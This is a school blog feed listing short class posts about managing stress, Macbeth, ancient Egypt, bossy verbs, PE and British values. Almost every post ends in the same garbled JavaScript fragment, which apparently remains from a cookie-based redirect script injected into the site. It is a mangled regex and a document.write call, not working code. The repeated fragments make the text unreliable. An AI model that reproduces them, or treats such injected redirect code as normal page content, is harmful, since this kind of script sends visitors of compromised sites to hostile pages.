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Opening Minds Day – Managing Stress
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De-stress yourself
We have learning about stress. This is how Jak wants to de-stress. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Y7 mental wellbeing
Today Y7 have considered what self esteem means and how to cope when you are feeling stressed. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Macbeth play scripts
Y7 have created an alternative ending to Macbeth and written it as a play script. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Peer marking in Y7
Y7 are getting really good at marking one another’s work with positive comments and areas for improvement. They then use these comments to edit and improve their own work. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Highfields PE
Highfields pupils being put through their paces in last Thursday’s PE lesson. The girls used the hoops as a warm up exercise before moving onto gymnastics. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Comic Strips
Primary 1 have enjoyed using the app Bookcreater to make a comic strip retelling the famous story Jack and the Beanstalk. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Y7 Tudor medicines
Y7 had a visit from a Tudor doctor today, who told them about how to cure all their illnesses. There were some disgusting medicines! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Primary 2 Opening Minds – Managing Stress
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Primary 2 enjoyed Bagshaw Museum.
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Drama games in Y7
In Y7 we have explored themes such as power and treachery through drama games. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Yummy Cookies
Primary 1 have enjoyed baking cookies today. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Discovering the tomb by Olivia
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Primary travel back in time!
Primary 2 invite you on their quest to uncover the mysteries of ancient Egypt. https://youtu.be/JoLkoTP197Q (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Year Eight Elements
Year Eight pupils have been learning all about the life of William Shakespeare. They have written biographies about him. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Flash the tortoise visits Primary 3!
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Number Lines
In numeracy Class 1 have been using a number line to partition and add two digit numbers. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Primary 2 have been modelling Egyptian masks and canopic jars.
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Primary 2 discovering a tomb description.
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Primary 2 have used their senses to describe entering an ancient Egyptian tomb.
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Opening Minds lesson
As part of Opening Minds we decided to look at celebrities that can have an influence on our lives. Is this a good or a bad influence? Also Fact and Opinion,what is the difference do people understand? (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Being Bossy!
Today we have been trying out our speaking and listening skills using imperative verbs. We had to be bossy to give instructions to our partner so they could decorate a biscuit. Imperative Verbs Imperative verbs are also known as ‘bossy verbs’- they tell people what to do! e.g. close the door; empty the bin; eat your dinner! Can you think of some bossy verbs to finish the sentences? 1. ______________right at the traffic lights. 2. ______________the juice into the glass. 3. ______________the kettle in before you use it. 4. ______________on the television please. 5. ______________the window; it’s very cold. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Primary 2 have been analysing and interrogating a text around the discovery of Tutankhamun
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Y7 exploring play scripts
Y7 wrote speech for some key scenes in Macbeth onto post it notes and performed their ideas. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Building Pyramids
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What makes a good friend?
During their SEAL lesson Class 3 have thought about the qualities of a friend, what makes a good friend, how to make friends and they have all identified the main value a friend should have. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Poor Little Jack
In circle time Class 1 have been thinking about how Jack (from Jack and the Beanstalk) felt when his mum was furious at him for swapping the cow for ‘magic’ beans. Can you think of any different words? (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Imperative Verbs
Class 1 have been using bossy verbs (imperative verbs) to give instructions, follow instructions and finally write their own instructions. Class 1 have been using their own instructions to plant a seed. Look out for future posts to see how tall the sunflowers grow. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Lego Pyramids
We have used Lego to explore pyramid shapes. Hope there’s no mummies hidden inside! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Oh mummy!
Primary 4 have been discovering some ancient mummies! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Boomerangs
Making a Boomerang in Design Technology Class 1 were thrilled to learn that there was a way to make an actual boomerang that when thrown, would return to it’s owner! We had a blast designing these with Aboriginal symbols too! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Primary 2 have used feedback to improve their mummification descriptive writing.
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Primary 2 have been ordering and describing the process of mummification!
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Shakespeare Festival
Pupils in Key Stage Three had their first rehearsal for the Shakespeare Festival today. It is already looking good. Watch this space for more information. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Y7 explore Macbeth supernatural themes
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Year Eight English
Year Eight pupils became detectives again and interviewed Macbeth based on their theories from the evidence and clues they saw last week. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Feedback in PE
In Class 1 we have been doing Gymnastics in PE and today we concentrated on an egg role. The class worked in pairs and gave each other a score out of 10, they also watched each other closely so they could offer feedback. Feedback is an important part of learning because it not only allows us to celebrate what we have achieved but also offers ways to improve our existing skills. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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What does living in Britain mean to you?
Springwell Learning Community is fully committed to safeguarding and promoting the welfare of all our pupils. Safeguarding children from all risks of harm is an important part of our school’s work and protecting them from extremism is one aspect of that. We have a duty to prepare our children for life in modern day Britain and to keep them safe. By encouraging children to talk about their believes and values we aim to protect children at risk of being exposed to Extremism and Radicalisation. In Class 1 we have been looking at our own identity and personal values. We then discussed what we thought British Values were and looked at…
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KS3 Drama
In drama pupils were given a theme from Macbeth as a stimulus for a freeze frame. Pupils had to work as a group to create a freeze frame. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Year Eight English
Year Eight pupils became detectives. They were given a set of clues and had to come up with a theory about what happens in Macbeth. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}
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Charlie and Rowan building Lego Minecraft
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Safe or not?
As a start to our work on extremism, we discussed safe and unsafe people and how you can’t always tell which is which. Great discussion and reasoning boys. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}